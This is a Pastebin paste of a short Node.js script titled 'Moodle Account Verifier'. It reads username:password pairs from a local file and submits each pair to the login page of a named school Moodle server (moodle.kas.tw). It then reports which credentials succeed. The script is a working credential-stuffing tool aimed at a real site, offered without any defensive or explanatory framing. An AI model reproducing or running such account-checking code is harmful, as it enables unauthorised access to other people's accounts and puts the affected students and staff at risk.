seadog007

Moodle Account Verifier

Sep 18th, 2014
275
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var querystring = require('querystring');
  2. var http = require('http');
  3. var fs = require("fs"),
  4.     filename = "account.txt",
  5.     encode = "utf8";
  6.  
  7.  
  8. //================================================================================
  9.  
  10.  
  11.  
  12.  
  13. fs.readFile(filename, encode, function(err, file) {
  14.   if(err){
  15.     console.log('檔案讀取錯誤。');
  16.   }else{
  17.     var username = [];
  18.     var password = [];
  19.  
  20.     var temp = file.split("\n");
  21.     for (var k = temp.length - 1; k >= 0; k--) {
  22.       var temp2 = temp[k].split(":");
  23.       username.push(temp2[0]);
  24.       password.push(temp2[1]);
  25.     };
  26.  
  27.     for (var s = username.length - 1; s >= 0; s--) {
  28.       var usert = username[s];
  29.       var passt = password[s];
  30.       verify(usert,passt,s)
  31.     };
  32.   }
  33. });
  34.  
  35.  
  36.  
  37.  
  38.  
  39. //================================================================================
  40.  
  41.  
  42. function verify(u,p,s){
  43.   var post_data = querystring.stringify({
  44.     'username' : u,
  45.     'password' : p
  46.   });
  47.  
  48.   var post_options = {
  49.     host: 'moodle.kas.tw',
  50.     port: '80',
  51.     path: '/login/index.php',
  52.     method: 'POST',
  53.     headers: {
  54.       'Content-Type': 'application/x-www-form-urlencoded',
  55.       'Content-Length': post_data.length
  56.     }
  57.   };
  58.  
  59.   var post_req = http.request(post_options, function(res) {
  60.     res.setEncoding('utf8');
  61.     var data = "";
  62.     res.on('data', function (chunk) {
  63.       data += chunk;
  64.     });
  65.     res.on("end", function() {
  66.       var match = data.match(/testsession=\d\d\d/);
  67.       if (match !== null){
  68.         console.log(s + " : " + u + " : " + p + " : Sucessed");
  69.       }else{
  70.         console.log(s + " : " + u + " : " + p + " : Failed or Parent account");
  71.       }
  72.     });
  73.   });
  74.  
  75.   post_req.write(post_data);
  76.   post_req.end();
  77. }
Advertisement
Add Comment
Please, Sign In to add comment